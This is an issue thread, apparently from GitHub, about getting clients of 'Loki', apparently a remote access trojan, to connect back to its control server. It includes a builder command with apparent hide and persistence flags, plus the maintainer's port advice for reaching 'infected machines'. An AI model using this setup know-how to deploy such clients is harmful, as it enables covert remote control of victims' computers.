Connecting problems #17

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1. Bitwise-01 commented on Sep 21, 2019

   

   Bitwise-01

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   Make sure you have set your public ip as ip when you’re generating the payload
2. Deb-kal commented on Sep 21, 2019

   

   Deb-kal

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   So,

   I redid everything and it still not work.
   What I do:

   Change Private and Public IP in const.py with :

   PRIVATE_IP = '192.168.1.X'
   PUBLIC_IP = 'My_Public_IP'

   ports
   FTP_PORT = 128
   SSH_PORT = 256

   Then I start Loki, go to server settings and start server on

   192.168.1.X : 8080

   Next, on Windows10 x64 VM, I build the client with :

   python builder.py -i MY_PUBLIC_IP -p 8080 -n Test -t exe -ic \myicon.ico -hd -ap

   Still can't connect to Loki.

   Note: I've already opened my router ports see :
   

   Ftp server open on port 128 (UDP + TCP)
   SSH server open on port 256 (UDP + TCP)
   Http port open on 8080 (UDP + TCP )

   Got this "Warning" launching loki too:

   • Serving Flask app "loki" (lazy loading)
   • Environment: production
     WARNING: Do not use the development server in a production environment.
     Use a production WSGI server instead.
   • Debug mode: off
   • Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
3. Bitwise-01 commented on Sep 21, 2019

   

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   Just ignore that warning. As long as you're running Loki locally you don't need to worry about it. Btw 8080 is not the web server, the web server runs on port 5000. 8080 is the TCP port Loki server runs on; it's the port that allows Loki to communicate with infected machines
4. Deb-kal commented on Sep 21, 2019

   

   Deb-kal

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   So now, with your help I have changed ports on my router.
   I finally succeeded to connect the client to Loki, but only one time..., and doing what I always did, I think.... After client connect I’ve uninstalled the client on the VM machine to try to connect another time. Reinstalled the VM to be sure and now it’s the same : impossible to connect clients and Loki.
   I really don’t know what I’m doing wrong, launching Loki with python 3.7, starting server on my private IP port 8080, installing python 3.7 on Windows VM and building the server with my public IP port 8080 ...

   EDIT :
   Sometimes I get this error after clicking on the builder output client :
   
5. Bitwise-01 commented on Sep 23, 2019

   

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